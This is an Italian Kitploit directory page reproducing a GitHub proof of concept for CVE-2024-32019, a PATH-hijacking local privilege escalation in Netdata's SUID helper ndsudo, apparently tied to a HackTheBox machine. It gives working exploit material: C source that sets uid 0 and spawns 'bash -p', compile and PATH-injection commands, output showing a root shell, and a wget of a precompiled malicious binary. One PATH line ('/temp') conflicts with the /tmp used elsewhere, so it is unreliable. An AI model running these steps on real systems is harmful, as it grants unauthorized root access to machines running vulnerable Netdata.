Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-32019-POC — Workflow e POC per l'escalation locale dei privilegi in Netdata ndsudo (CVE-2024-32019) | Kitploit
Strumenti/GitHubGitHub/juanbelin/cve-2024-32019-poc
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubjuanbelin/cve-2024-32019-poc

CVE-2024-32019-POC

Workflow e POC per l'escalation locale dei privilegi in Netdata ndsudo (CVE-2024-32019)

Vedi Repository
1 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-32019-POC

Netdata ndsudo local privilage escalation workflow and POC (CVE-2024-32019)

  • Workflow
  • Exploit automatico
  • Risorse

Workflow

[!TIP] Per favore leggi

Netdata è uno strumento che fornisce monitoraggio di applicazioni e sistemi, gira sulla porta 19999, facile da trovare:

root@kitploit:~
test@test:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State     

tcp        0      0 127.0.0.1:19999         0.0.0.0:*               LISTEN  

Questa vulnerabilità (CVE-2024-32019) colpisce le versioni successive: >= v1.45.0, < v1.45.3, >= v1.44.0-60, < v1.45.0-169. Possiamo fare una richiesta per conoscere la versione nell'header della risposta:

CVE-2024-32019-1

L'exploit si verifica sfruttando un PATH Hijacking di uno dei loro plugin, ndsudo, che si trova spesso in /opt/netdata/usr/libexec/netdata/ e che ha SUID.

root@kitploit:~
test@test:~$ find / -name ndsudo 2> /dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
CVE-2024-32019-2

Possiamo vedere cosa possiamo fare usando --help

root@kitploit:~
$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo --help

ndsudo

(C) Netdata Inc.

A helper to allow Netdata run privileged commands.

  --test
    print the generated command that will be run, without running it.

  --help
    print this message.

The following commands are supported:

- Command    : nvme-list
  Executables: nvme 
  Parameters : list --output-format=json

- Command    : nvme-smart-log
  Executables: nvme 
  Parameters : smart-log {{device}} --output-format=json

- Command    : megacli-disk-info
  Executables: megacli MegaCli 
  Parameters : -LDPDInfo -aAll -NoLog

- Command    : megacli-battery-info
  Executables: megacli MegaCli 
  Parameters : -AdpBbuCmd -aAll -NoLog

- Command    : arcconf-ld-info
  Executables: arcconf 
  Parameters : GETCONFIG 1 LD

- Command    : arcconf-pd-info
  Executables: arcconf 
  Parameters : GETCONFIG 1 PD

The program searches for executables in the system path.

Variables given as {{variable}} are expected on the command line as:
  --variable VALUE

VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .
root@kitploit:~
test@test:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info
arcconf : not available in PATH.

Come possiamo vedere, poiché lo script contiene diversi comandi tra cui scegliere che cercano un eseguibile, possiamo sfruttare questo per creare il nostro eseguibile con lo stesso nome di uno degli eseguibili all'interno di un percorso che possiamo aggiungere alla variabile d'ambiente PATH.

Netdata usa C, di conseguenza, dobbiamo creare il nostro script in C e compilarlo.

CVE-2024-32019
root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", "-p", NULL);
    perror("execl");
    return 1;
}
root@kitploit:~
gcc arcconf.c -o arcconf

Poi, come discusso in precedenza, aggiungiamo il percorso dello script al $PATH

root@kitploit:~
test@test:/tmp$ PATH=/tmp:$PATH

Infine, eseguiamo semplicemente il comando che punta al nostro eseguibile malevolo (arcconf-pd-info -> arcconf) e ci darà una shell con privilegi

root@kitploit:~
test@test:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-pd-info
root@editor:/tmp# whoami
root

Exploit automatico

Puoi scaricare lo script malevolo in C già compilato che ti darà una bash come root come menzionato nell'esempio precedente:

root@kitploit:~
wget https://github.com/juanbelin/CVE-2024-32019-POC/raw/refs/heads/main/arcconf 
root@kitploit:~
mv arcconf /tmp #If your target has Internet connectivity

scp ./arcconf test@test:/tmp/arcconf #If your target does not have Internet connectivity
root@kitploit:~
PATH=:/temp:$PATH
root@kitploit:~
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info #The ndsudo path may change 

Risorse

  • https://learn.netdata.cloud/docs/collecting-metrics/

  • https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93

  • https://app.hackthebox.com/machines/684

Scarica lo strumento